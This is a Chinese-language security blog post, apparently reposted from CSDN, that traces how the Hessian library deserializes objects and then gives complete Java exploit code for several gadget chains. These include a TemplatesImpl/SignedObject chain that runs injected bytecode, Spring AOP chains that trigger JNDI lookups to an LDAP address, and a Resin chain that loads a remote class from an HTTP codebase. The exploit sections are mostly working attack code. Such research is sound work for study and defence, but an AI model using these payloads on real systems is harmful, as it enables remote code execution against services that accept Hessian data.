Java反序列化链子分析-3

发布时间:2023年12月21日


前言

续接之前那篇Java反序列化-2的文章。

Hessian反序列化

Hessian是一种用于远程调用的二进制协议。它被广泛用于构建分布式系统中的跨平台通信,特别适用于Java语言,基于RPC协议,用于远程服务的调用。

Hessian可以将Java对象序列化为二进制数据,并通过网络传输到远程系统,然后将二进制数据反序列化为远程系统可以理解的对象。通过使用二进制格式,Hessian可以提供更高效的数据传输和更低的网络开销,相对于文本协议(如XML或JSON)而言。

Hessian支持各种Java基本类型和复杂对象的序列化和反序列化。它还提供了一种简单的方式定义服务接口和实现远程方法调用。因此,开发人员可以使用Hessian来构建基于Java的分布式系统,同时获得更高的性能和更好的跨平台兼容性。

Hessian是基于Field机制来进行反序列化的,就是通过一些特殊的方法或者反射,直接对Field进行赋值,这与Jackson调用getter、setter是不同的,这种机制相对于基于Bean机制的攻击面要小,因为它们自动调用的方法要少。

以下是一些基于Field机制进行反序列化的类:

  • Java Serialization
  • Kryo
  • Hessian
  • json-io
  • XStream

下面是对Hessian反序列化进行简单的流程分析:

        <dependency>
            <groupId>com.caucho</groupId>
            <artifactId>hessian</artifactId>
            <version>4.0.63</version>
        </dependency>
  1. HessianInput#readObject中,它会通过一个Tag来决定后面的操作,而Hessian序列化是处理成Map的形式,所以code的第一个总是77,也就是对应着M的操作,在readType()中,它会遍历读取反序列化传入的字节数组,读取一定的长度转成字符后存入了_sbuf中,再经过toString()转换成字符串,返回该类的完整路径,比如说com.example.Hessian.User
public Object readObject()
    throws IOException
  {
    int tag = read();

    switch (tag) {
    case 'N':
      return null;
      
    case 'T':
      return Boolean.valueOf(true);
      
    case 'F':
      return Boolean.valueOf(false);
      
    case 'I':
      return Integer.valueOf(parseInt());
    
    case 'L':
      return Long.valueOf(parseLong());
    
    case 'D':
      return Double.valueOf(parseDouble());
    
    case 'd':
      return new Date(parseLong());
    
    case 'x':
    case 'X': {
      _isLastChunk = tag == 'X';
      _chunkLength = (read() << 8) + read();

      return parseXML();
    }

    case 's':
    case 'S': {
      _isLastChunk = tag == 'S';
      _chunkLength = (read() << 8) + read();

      int data;
      _sbuf.setLength(0);
      
      while ((data = parseChar()) >= 0)
        _sbuf.append((char) data);

      return _sbuf.toString();
    }

    case 'b':
    case 'B': {
      _isLastChunk = tag == 'B';
      _chunkLength = (read() << 8) + read();

      int data;
      ByteArrayOutputStream bos = new ByteArrayOutputStream();
      
      while ((data = parseByte()) >= 0)
        bos.write(data);

      return bos.toByteArray();
    }

    case 'V': {
      String type = readType();
      int length = readLength();

      return _serializerFactory.readList(this, length, type);
    }

    case 'M': {
      String type = readType();

      return _serializerFactory.readMap(this, type);
    }

    case 'R': {
      int ref = parseInt();

      return _refs.get(ref);
    }

    case 'r': {
      String type = readType();
      String url = readString();

      return resolveRemote(type, url);
    }

    default:
      throw error("unknown code for readObject at " + codeName(tag));
    }
  }
  1. 随后会进入到SerializerFactory#readMap中,会进入到getDeserializer方法获取反序列化器,如果获取不到,就会进入到_hashMapDeserializer.readMap中。
  public Object readMap(AbstractHessianInput in, String type)
    throws HessianProtocolException, IOException
  {
    Deserializer deserializer = getDeserializer(type);

    if (deserializer != null)
      return deserializer.readMap(in);
    else if (_hashMapDeserializer != null)
      return _hashMapDeserializer.readMap(in);
    else {
      _hashMapDeserializer = new MapDeserializer(HashMap.class);

      return _hashMapDeserializer.readMap(in);
    }
  }
  1. getDeserializer中,它会判断是否前面获取不到type,是则返回null,然后会从缓存中获取对应type的反序列化器,如果获取不到,会从_staticTypeMap中获取,都获取不到,则判断 type 是不是数组,是就根据数组基本类型来获取其 Deserializer,并创建 ArrayDeserializer 返回,否则尝试通过目标 typeclazz 形式来获取deserializer放到缓存里面。一般的类如果使用了不安全的Serializer,会获取到UnsafeDeserilize
  public Deserializer getDeserializer(String type)
    throws HessianProtocolException
  {
    if (type == null || type.equals(""))
      return null;

    Deserializer deserializer;

    if (_cachedTypeDeserializerMap != null) {
      synchronized (_cachedTypeDeserializerMap) {
        deserializer = (Deserializer) _cachedTypeDeserializerMap.get(type);
      }

      if (deserializer != null)
        return deserializer;
    }


    deserializer = (Deserializer) _staticTypeMap.get(type);
    if (deserializer != null)
      return deserializer;

    if (type.startsWith("[")) {
      Deserializer subDeserializer = getDeserializer(type.substring(1));

      if (subDeserializer != null)
        deserializer = new ArrayDeserializer(subDeserializer.getType());
      else
        deserializer = new ArrayDeserializer(Object.class);
    }
    else {
      try {
        //Class cl = Class.forName(type, false, getClassLoader());
        Class cl = loadSerializedClass(type);
        deserializer = getDeserializer(cl);
      } catch (Exception e) {
        log.warning("Hessian/Burlap: '" + type + "' is an unknown class in " + getClassLoader() + ":\n" + e);

        log.log(Level.FINER, e.toString(), e);
      }
    }

    if (deserializer != null) {
      if (_cachedTypeDeserializerMap == null)
        _cachedTypeDeserializerMap = new HashMap(8);
      synchronized (_cachedTypeDeserializerMap) {
        _cachedTypeDeserializerMap.put(type, deserializer);
      }
    }
    return deserializer;
  }
  1. 进入到readMap后,会通过sun.misc.Unsafe#allocateInstance初始化一个空对象,然后再调用readMap
  public Object readMap(AbstractHessianInput in)
    throws IOException
  {
    try {
      Object obj = instantiate();

      return readMap(in, obj);
    } catch (IOException e) {
      throw e;
    } catch (RuntimeException e) {
      throw e;
    } catch (Exception e) {
      throw new IOExceptionWrapper(_type.getName() + ":" + e.getMessage(), e);
    }
  }
  1. 将它加入到引用当中,便于用引用来寻找值,然后通过while循环来对值进行恢复,会从_fieldMap中通过键获取对应的Deserializer,要注意的是这里不包含transient修饰的成员,再根据获取到的Deserializer进入到不同类的deserialize方法中,比如ObjectFieldDeserializer会进入ObjectFieldDeserializer#deserialize中,FieldDeserializer2中一共有14个unsafe的反序列化器。
public Object readMap(AbstractHessianInput in, Object obj)
    throws IOException
  {
    try {
      int ref = in.addRef(obj);

      while (! in.isEnd()) {
        Object key = in.readObject();

        FieldDeserializer2 deser = (FieldDeserializer2) _fieldMap.get(key);

        if (deser != null)
          deser.deserialize(in, obj);
        else
          in.readObject();
      }

      in.readMapEnd();

      Object resolve = resolve(in, obj);

      if (obj != resolve)
        in.setRef(ref, resolve);

      return resolve;
    } catch (IOException e) {
      throw e;
    } catch (Exception e) {
      throw new IOExceptionWrapper(e);
    }
  }

在这里插入图片描述

  1. 进入到deserialize后,又会触发HessianInput#readObject进行反序列化。
    public void deserialize(AbstractHessianInput in, Object obj)
      throws IOException
    {
      Object value = null;
      
      try {
        value = in.readObject(_field.getType());

        _unsafe.putObject(obj, _offset, value);
      } catch (Exception e) {
        logDeserializeError(_field, obj, value, e);
      }
    }
  }
  1. 因为序列化成Map的形式,因此还是进入M中,获取到type会空后,会进入到MapDeserializer#readMap中。
  public Object readObject(Class cl)
    throws IOException
  {
    if (cl == null || cl == Object.class)
      return readObject();
    
    int tag = read();
    
    switch (tag) {
    case 'N':
      return null;

    case 'M':
    {
      String type = readType();
      if ("".equals(type)) {
        Deserializer reader;
        reader = _serializerFactory.getDeserializer(cl);

        return reader.readMap(this);
      }
      else {
        Deserializer reader;
        reader = _serializerFactory.getObjectDeserializer(type);

        return reader.readMap(this);
      }
    }

    case 'V':
    {
      String type = readType();
      int length = readLength();
      
      Deserializer reader;
      reader = _serializerFactory.getObjectDeserializer(type);
      
      if (cl != reader.getType() && cl.isAssignableFrom(reader.getType()))
        return reader.readList(this, length);

      reader = _serializerFactory.getDeserializer(cl);

      Object v = reader.readList(this, length);

      return v;
    }

    case 'R':
    {
      int ref = parseInt();

      return _refs.get(ref);
    }

    case 'r':
    {
      String type = readType();
      String url = readString();

      return resolveRemote(type, url);
    }
    }

    _peek = tag;
    Object value = _serializerFactory.getDeserializer(cl).readObject(this);

    return value;
  }
  1. MapDeserializer#readMap里面,会对map的类型进行判断,如果是Map则使用HashMapSortedMap则使用TreeMap(),接着进入了一个 while 循环,它会读取 key-value 的键值对并调用 put 方法,这里的put方法老生常谈了,会触发任意类的hashcode()方法,至此,只要是入口为hashCode都能够使用。
  public Object readMap(AbstractHessianInput in)
    throws IOException
  {
    Map map;
    
    if (_type == null)
      map = new HashMap();
    else if (_type.equals(Map.class))
      map = new HashMap();	//hashCode()、equals()
    else if (_type.equals(SortedMap.class))
      map = new TreeMap(); //触发compareTo()方法
    else {
      try {
        map = (Map) _ctor.newInstance();
      } catch (Exception e) {
        throw new IOExceptionWrapper(e);
      }
    }

    in.addRef(map);
    while (! in.isEnd()) {
      map.put(in.readObject(), in.readObject());
    }
    in.readEnd();
    return map;
  }

要使用Hessian条件如下:

  • kick-off chain 起始方法只能为 hashCode/equals/compareTo 方法;
  • 利用链中调用的成员变量不能为 transient 修饰;
  • 所有的调用不依赖类中 readObject 的逻辑,也不依赖 getter/setter 的逻辑。

Hessian中,有一个十分魔幻的地方,就是它支持反序列化任意类,并且无需实现Serializable接口,使得没有实现Serializable接口的类也可以序列化和反序列化,只需要将_isAllowNonSerializable=true即可,可以设置SerializerFactory#setAllowNonSerializable来赋值。

    public class SerializerFactory extends AbstractSerializerFactory {
	protected Serializer getDefaultSerializer(Class cl) {
        if (this._defaultSerializer != null) {
            return this._defaultSerializer;
        } else if (!Serializable.class.isAssignableFrom(cl) && !this._isAllowNonSerializable) {
            throw new IllegalStateException("Serialized class " + cl.getName() + " must implement java.io.Serializable");
        } else {
            return (Serializer)(this._isEnableUnsafeSerializer && JavaSerializer.getWriteReplace(cl) == null ? UnsafeSerializer.create(cl) : JavaSerializer.create(cl));
        }
    }
    }

TemplatesImpl

首先考虑一下动态字节码加载的打法,但是明显是不行的,因为TemplatesImpl中的_tfactory是一个transient,无法参与序列化与反序列化,因此可以采取二次反序列化的打法,就是上文的ROME中的SignedObject链。

调用链如下:

hessianinput.readObject()->
    hashmap.put()->
        EqualsBean.hashcode()->
            ToStringBean.toString()->
                SignedObject.getObject()->
                        hashmap.readObject()->后面的利用链

exp如下:

package com.example.Hessian;

import cn.hutool.core.lang.hash.Hash;
import com.caucho.hessian.io.HessianInput;
import com.caucho.hessian.io.HessianOutput;
import com.example.jackson.TemplateImpl;
import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;
import com.sun.rowset.JdbcRowSetImpl;
import com.sun.syndication.feed.impl.EqualsBean;
import com.sun.syndication.feed.impl.ToStringBean;
import javassist.CannotCompileException;
import javassist.ClassPool;
import javassist.CtClass;
import javassist.NotFoundException;
import javax.xml.transform.Templates;
import java.io.ByteArrayInputStream;
import java.io.ByteArrayOutputStream;
import java.io.IOException;
import java.lang.reflect.Field;
import java.security.KeyPair;
import java.security.KeyPairGenerator;
import java.security.Signature;
import java.security.SignedObject;
import java.util.Base64;
import java.util.HashMap;

public class hessian_signobject {
    public static void main(String[] args) throws Exception {
        byte[] code =getTemplates();
        byte[][] codes={code};
        TemplatesImpl templates=new TemplatesImpl();
        setValue(templates,"_tfactory",new TransformerFactoryImpl());
        setValue(templates,"_name","Aiwin");
        setValue(templates,"_class",null);
        setValue(templates,"_bytecodes",codes);
        ToStringBean toStringBean=new ToStringBean(Templates.class,templates);
        EqualsBean equalsBean=new EqualsBean(String.class,"aiwin");
        HashMap hashMap=new HashMap();
        hashMap.put(equalsBean,"aaa");
        setValue(equalsBean,"_beanClass",ToStringBean.class);
        setValue(equalsBean,"_obj",toStringBean);

        //SignedObject
        KeyPairGenerator kpg = KeyPairGenerator.getInstance("DSA");
        kpg.initialize(1024);
        KeyPair kp = kpg.generateKeyPair();
        SignedObject signedObject = new SignedObject(hashMap, kp.getPrivate(), Signature.getInstance("DSA"));
        ToStringBean toStringBean_sign=new ToStringBean(SignedObject.class,signedObject);
        EqualsBean equalsBean_sign=new EqualsBean(String.class,"aiwin");
        HashMap hashMap_sign=new HashMap();
        hashMap_sign.put(equalsBean_sign,"aaa");
        setValue(equalsBean_sign,"_beanClass",ToStringBean.class);
        setValue(equalsBean_sign,"_obj",toStringBean_sign);
        String result=Hessian_serialize(hashMap_sign);
        Hessian_unserialize(result);

    }
    public static void setValue(Object obj, String name, Object value) throws Exception{
        Field field = obj.getClass().getDeclaredField(name);
        field.setAccessible(true);
        field.set(obj, value);
    }
    public static byte[] getTemplates() throws IOException, CannotCompileException, NotFoundException {
        ClassPool classPool=ClassPool.getDefault();
        CtClass ctClass=classPool.makeClass("Test");
        ctClass.setSuperclass(classPool.get("com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet"));
        String block = "Runtime.getRuntime().exec(\"calc\");";
        ctClass.makeClassInitializer().insertBefore(block);
        return ctClass.toBytecode();
    }
    public static String Hessian_serialize(Object object) throws IOException {
        ByteArrayOutputStream byteArrayOutputStream=new ByteArrayOutputStream();
        HessianOutput hessianOutput=new HessianOutput(byteArrayOutputStream);
        hessianOutput.writeObject(object);
        return Base64.getEncoder().encodeToString(byteArrayOutputStream.toByteArray());
    }

    public static void Hessian_unserialize(String obj) throws IOException {
        byte[] code=Base64.getDecoder().decode(obj);
        ByteArrayInputStream byteArrayInputStream=new ByteArrayInputStream(code);
        HessianInput hessianInput=new HessianInput(byteArrayInputStream);
        hessianInput.readObject();
    }
}

同样JdbcRowSetImpl等常规链子也是可以的

Spring AOP

利用链

Hessian#readObject()->
	hashMap.putVal()->
		hotSwappableTargetSource#equals()->
			AbstractPointcutAdvisor#equals()->
				AbstractBeanFactoryPointcutAdvisor#getAdvice()
					SimpleJndiBeanFactory#getBean()->
						lookup()

在自己写这条链的时候,也是在不断的报错,因为发现它里面利用的很多类都没有继承Serializable接口,导致无法序列化和反序列化,并且似乎并没有找到绕过去的方式,包括SimpleJndiBeanFactory,后来看了一下marshalsec,后来才知道Hessian可以不需要继承序列化和反序列化的。

package com.example.Hessian;

import com.caucho.hessian.io.HessianInput;
import com.caucho.hessian.io.HessianOutput;
import com.caucho.hessian.io.SerializerFactory;
import org.springframework.aop.support.*;
import org.springframework.aop.target.HotSwappableTargetSource;
import org.springframework.jndi.support.SimpleJndiBeanFactory;
import org.springframework.scheduling.annotation.AsyncAnnotationAdvisor;

import java.io.*;
import java.lang.reflect.Field;
import java.util.Base64;
import java.util.HashMap;

public class springaop {
    public static void main(String[] args) throws Exception {
        String jndiUrl = "ldap://127.0.0.1:9999/siJdcpuR";
        SimpleJndiBeanFactory simpleJndiBeanFactory = new SimpleJndiBeanFactory();
        simpleJndiBeanFactory.setShareableResources(jndiUrl);//这里一定要设置,为了过Singleton()

        Class<?> AbstractBeanFactoryPointcutAdvisor = Class.forName("org.springframework.aop.support.AbstractBeanFactoryPointcutAdvisor");
        DefaultBeanFactoryPointcutAdvisor defaultBeanFactoryPointcutAdvisor = new DefaultBeanFactoryPointcutAdvisor();
        Field adviceBeanName = AbstractBeanFactoryPointcutAdvisor.getDeclaredField("adviceBeanName");
        adviceBeanName.setAccessible(true);
        adviceBeanName.set(defaultBeanFactoryPointcutAdvisor, jndiUrl);
        Field beanFactory = AbstractBeanFactoryPointcutAdvisor.getDeclaredField("beanFactory");
        beanFactory.setAccessible(true);
        beanFactory.set(defaultBeanFactoryPointcutAdvisor, simpleJndiBeanFactory);

        AsyncAnnotationAdvisor asyncAnnotationAdvisor = new AsyncAnnotationAdvisor();
        HotSwappableTargetSource hotSwappableTargetSource = new HotSwappableTargetSource(1);
        HotSwappableTargetSource hotSwappableTargetSource1 = new HotSwappableTargetSource(2);
        HashMap hashMap = new HashMap();
        hashMap.put(hotSwappableTargetSource, "1");
        hashMap.put(hotSwappableTargetSource1, "2");
        setFieldValue(hotSwappableTargetSource,"target",defaultBeanFactoryPointcutAdvisor);
        setFieldValue(hotSwappableTargetSource1,"target",asyncAnnotationAdvisor);
        String result=Hessian_serialize(hashMap);
        Hessian_unserialize(result);
    }
    public static String Hessian_serialize(Object object) throws IOException {
        ByteArrayOutputStream byteArrayOutputStream=new ByteArrayOutputStream();
        HessianOutput hessianOutput=new HessianOutput(byteArrayOutputStream);
        SerializerFactory serializerFactory=new SerializerFactory(); //无需继承Serializable也可进行序列化和反序列化
        serializerFactory.setAllowNonSerializable(true);
        hessianOutput.setSerializerFactory(serializerFactory);
        hessianOutput.writeObject(object);
        return Base64.getEncoder().encodeToString(byteArrayOutputStream.toByteArray());
    }

    public static void Hessian_unserialize(String obj) throws IOException, ClassNotFoundException {
        byte[] code=Base64.getDecoder().decode(obj);
        ByteArrayInputStream byteArrayInputStream=new ByteArrayInputStream(code);
        HessianInput hessianInput=new HessianInput(byteArrayInputStream);
        hessianInput.readObject();
    }
    public static void setFieldValue(Object object, String field, Object value) throws NoSuchFieldException, IllegalAccessException {
        Field dfield=object.getClass().getDeclaredField(field);
        dfield.setAccessible(true);
        dfield.set(object,value);
    }
}

简单解析:

SimpleJndiBeanFactory#getBean中存在能够调用lookup接口。在这里插入图片描述

这里仅需要初始化beanFactory=SimpleJndiBeanFactory,同时adviceBeanName可控,通过setShareableResources可过掉isSingleton判断即可触发getBean

在这里插入图片描述

AbstractPointcutAdvisor#equals方法中,存在可以触发getAdvice()的点,并且otherAdvice可控,至于equals可通过HashCode#puVal触发,整条链就串起来了。

在这里插入图片描述

PartiallyComparableAdvisorHolder

Hessian#readObject()->
	hashMap.putVal()->
		hotSwappableTargetSource#equals()->
			Xstring#equals()->
            	PartiallyComparableAdvisorHolder#toString()->
            		AspectJPointcutAdvisor#getOrder()->
            			AbstractAspectJAdvice#getOrder()->
            				BeanFactoryAspectInstanceFactory#getOrder()->
            					SimpleJndiBeanFactory#getType()->
									SimpleJndiBeanFactory#doGetType()->
										SimpleJndiBeanFactory#doGetSingleton()->
											SimpleJndiBeanFactory#lookup()->JndiTemplate#lookup()

exp:

public static void main(String[] args) throws ClassNotFoundException, NoSuchMethodException, InvocationTargetException, InstantiationException, IllegalAccessException, NoSuchFieldException, IOException {
        String jndiUrl = "ldap://127.0.0.1:9999/siJdcpuR";
        SimpleJndiBeanFactory simpleJndiBeanFactory=new SimpleJndiBeanFactory();
        simpleJndiBeanFactory.setShareableResources(jndiUrl);

        AspectInstanceFactory beanFactoryAspectInstanceFactory=createWithoutConstructor(BeanFactoryAspectInstanceFactory.class);
        setFieldValue(beanFactoryAspectInstanceFactory,"beanFactory",simpleJndiBeanFactory);
        setFieldValue(beanFactoryAspectInstanceFactory,"name",jndiUrl);

        AbstractAspectJAdvice advice = createWithoutConstructor(AspectJAfterAdvice.class);

        Class<?> abstractAspectJAdvice= Class.forName("org.springframework.aop.aspectj.AbstractAspectJAdvice");
        Field aspectInstanceFactory=abstractAspectJAdvice.getDeclaredField("aspectInstanceFactory");
        aspectInstanceFactory.setAccessible(true);
        aspectInstanceFactory.set(advice,beanFactoryAspectInstanceFactory);

        AspectJPointcutAdvisor aspectJPointcutAdvisor=createWithoutConstructor(AspectJPointcutAdvisor.class);
        setFieldValue(aspectJPointcutAdvisor,"advice",advice);

        Class<?> PartiallyComparableAdvisorHolder=Class.forName("org.springframework.aop.aspectj.autoproxy.AspectJAwareAdvisorAutoProxyCreator$PartiallyComparableAdvisorHolder");
        Object Partially=createWithoutConstructor(PartiallyComparableAdvisorHolder);
        setFieldValue(Partially,"advisor",aspectJPointcutAdvisor);
        HotSwappableTargetSource hotSwappableTargetSource = new HotSwappableTargetSource(new XString("1"));
        HotSwappableTargetSource hotSwappableTargetSource1 = new HotSwappableTargetSource(new XString("a"));
        HashMap hashMap = new HashMap();
        hashMap.put(hotSwappableTargetSource, "1");
        hashMap.put(hotSwappableTargetSource1, "2");
        setFieldValue(hotSwappableTargetSource,"target",Partially);
        String result=Hessian_serialize(hashMap);
        Hessian_unserialize(result);
    }

简单分析:

首先在SimpleJndiBeanFactory#doGetSingleton中存在lookup接口,在同一个类中SimpleJndiBeanFactory#getType()可以调用到doGetSingleton

在这里插入图片描述

BeanFactoryAspectInstanceFactory#getOrder()中,存在着可控beanFactory和name能够调用getType

在这里插入图片描述

AbstractAspectJAdvice#getOrder()能够调用BeanFactoryAspectInstanceFactory#getOrder(),因为aspectInstanceFactory是可控的,但是要注意这里是抽象类,要找子类都实例化传值。

在这里插入图片描述

AspectJPointcutAdvisor#getOrder()可以触发AbstractAspectJAdvice#getOrder(),只需要在构造函数初始化advice=AbstractAspectJAdvice

在这里插入图片描述

最后在AspectJAwareAdvisorAutoProxyCreator中找到子类PartiallyComparableAdvisorHolder#toString,可以调用AspectJPointcutAdvisor#getOrder(),然后toString()完全可以通过Xstring类来触发。

在这里插入图片描述

Resin

引入依赖,这里引入的依赖版本好像要正确,否则会报错显示com.caucho.Naming不存在,至于每个版本的对应,我也不清楚。:

        <dependency>
            <groupId>com.caucho</groupId>
            <artifactId>resin</artifactId>
            <version>4.0.64</version>
        </dependency>
Xstring#equals()->
Qname#toString()->
ContinuationContext#composeName()->
ContinuationContext#getTargetContext()->
NamingManager#getContext()->
NamingManager#getObjectInstance()->
NamingManager#getObjectFactoryFromReference()->
loadClass()

exp:

package com.example.Hessian;

import com.caucho.hessian.io.HessianInput;
import com.caucho.hessian.io.HessianOutput;
import com.caucho.hessian.io.SerializerFactory;
import com.caucho.naming.QName;
import com.sun.org.apache.xpath.internal.objects.XString;

import javax.naming.*;
import javax.naming.directory.DirContext;
import java.io.ByteArrayInputStream;
import java.io.ByteArrayOutputStream;
import java.io.IOException;
import java.lang.reflect.Array;
import java.lang.reflect.Constructor;
import java.lang.reflect.Field;
import java.lang.reflect.InvocationTargetException;
import java.util.Base64;
import java.util.HashMap;
import java.util.Hashtable;

public class Resin {
    public static void main(String[] args) throws ClassNotFoundException, NoSuchMethodException, InvocationTargetException, InstantiationException, IllegalAccessException, IOException, NoSuchFieldException {
        String codebase="http://127.0.0.1:9999/";
        String clazz="siJdcpuR";

        Class<?> ccCl = Class.forName("javax.naming.spi.ContinuationContext");
        Constructor<?> ccCons = ccCl.getDeclaredConstructor(CannotProceedException.class, Hashtable.class);
        ccCons.setAccessible(true);
        CannotProceedException cpe = new CannotProceedException();
        cpe.setResolvedObj(new Reference("siJdcpuR", clazz,codebase));
        Context ctx = (Context) ccCons.newInstance(cpe, new Hashtable<>());
        QName qName = new QName(ctx,"aiwin","aiwin1"); //_items要过for循环
        String unhash = unhash(qName.hashCode()); //将哈希值转换回原始数据的算法,放入到Xstring的值中,为了p.hash == hash
        XString xString = new XString(unhash);


        HashMap<Object, Object> hashMap = new HashMap<>();
        setFieldValue(hashMap, "size", 2);
        Class<?> nodeC;
        nodeC = Class.forName("java.util.HashMap$Node");
        Constructor<?> nodeCons = nodeC.getDeclaredConstructor(int.class, Object.class, Object.class, nodeC);
        nodeCons.setAccessible(true);
        Object tbl = Array.newInstance(nodeC, 2);
        Array.set(tbl, 0, nodeCons.newInstance(0, qName, qName, null));
        Array.set(tbl, 1, nodeCons.newInstance(0, xString, xString, null));
        setFieldValue(hashMap, "table", tbl);
        String result=Hessian_serialize(hashMap);
        Hessian_unserialize(result);




    }
    private static void unhash0(StringBuilder partial, int target) {
        int div = target / 31;
        int rem = target % 31;
        if (div <= 65535) {
            if (div != 0)
                partial.append((char)div);
            partial.append((char)rem);
        } else {
            unhash0(partial, div);
            partial.append((char)rem);
        }
    }
    public static String unhash ( int hash ) {
        int target = hash;
        StringBuilder answer = new StringBuilder();
        if (target < 0) {
            answer.append("\\u0915\\u0009\\u001e\\u000c\\u0002");
            if (target == Integer.MIN_VALUE)
                return answer.toString();
            target = target & Integer.MAX_VALUE;
        }
        unhash0(answer, target);
        return answer.toString();
    }
    public static String Hessian_serialize(Object object) throws IOException {
        ByteArrayOutputStream byteArrayOutputStream=new ByteArrayOutputStream();
        HessianOutput hessianOutput=new HessianOutput(byteArrayOutputStream);
        SerializerFactory serializerFactory=new SerializerFactory();
        serializerFactory.setAllowNonSerializable(true);
        hessianOutput.setSerializerFactory(serializerFactory);
        hessianOutput.writeObject(object);
        return Base64.getEncoder().encodeToString(byteArrayOutputStream.toByteArray());
    }

    public static void Hessian_unserialize(String obj) throws IOException, ClassNotFoundException {
        byte[] code=Base64.getDecoder().decode(obj);
        ByteArrayInputStream byteArrayInputStream=new ByteArrayInputStream(code);
        HessianInput hessianInput=new HessianInput(byteArrayInputStream);
        hessianInput.readObject();
    }
    public static void setFieldValue(Object object, String field, Object value) throws NoSuchFieldException, IllegalAccessException {
        Field dfield=object.getClass().getDeclaredField(field);
        dfield.setAccessible(true);
        dfield.set(object,value);
    }
}

简单分析:

漏洞的触发点在NamingManager#getObjectFactoryFromReference中,只需要控制Reference为恶意的factoryLocation即可通过loadClass加载类并在后面通过newInstance实例化,在NamingManager#getContext中可以直接触发这个方法。在这里插入图片描述

ContinuationContext#getTargetContext()中能够触发NamingManager.getContext(),前提是CannotProceedException#getResolvedObj()要有值,这个值就是后面要用到的Reference(),因为可以通过setResolvedObj()进去,要注意的是ContinuationContext是直接通过class修饰的,只能在同一个包中被访问,不能直接实例化,要通过反射进行构造。getTargetContext()在本类的composeName可触发。

在这里插入图片描述

Qname#toString()中可以触发composeName(),因为_context可以直接实例化控制,要过for循环需要往_items里面加数据即可。

在这里插入图片描述

文章来源:https://blog.csdn.net/weixin_53090346/article/details/135131812
本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。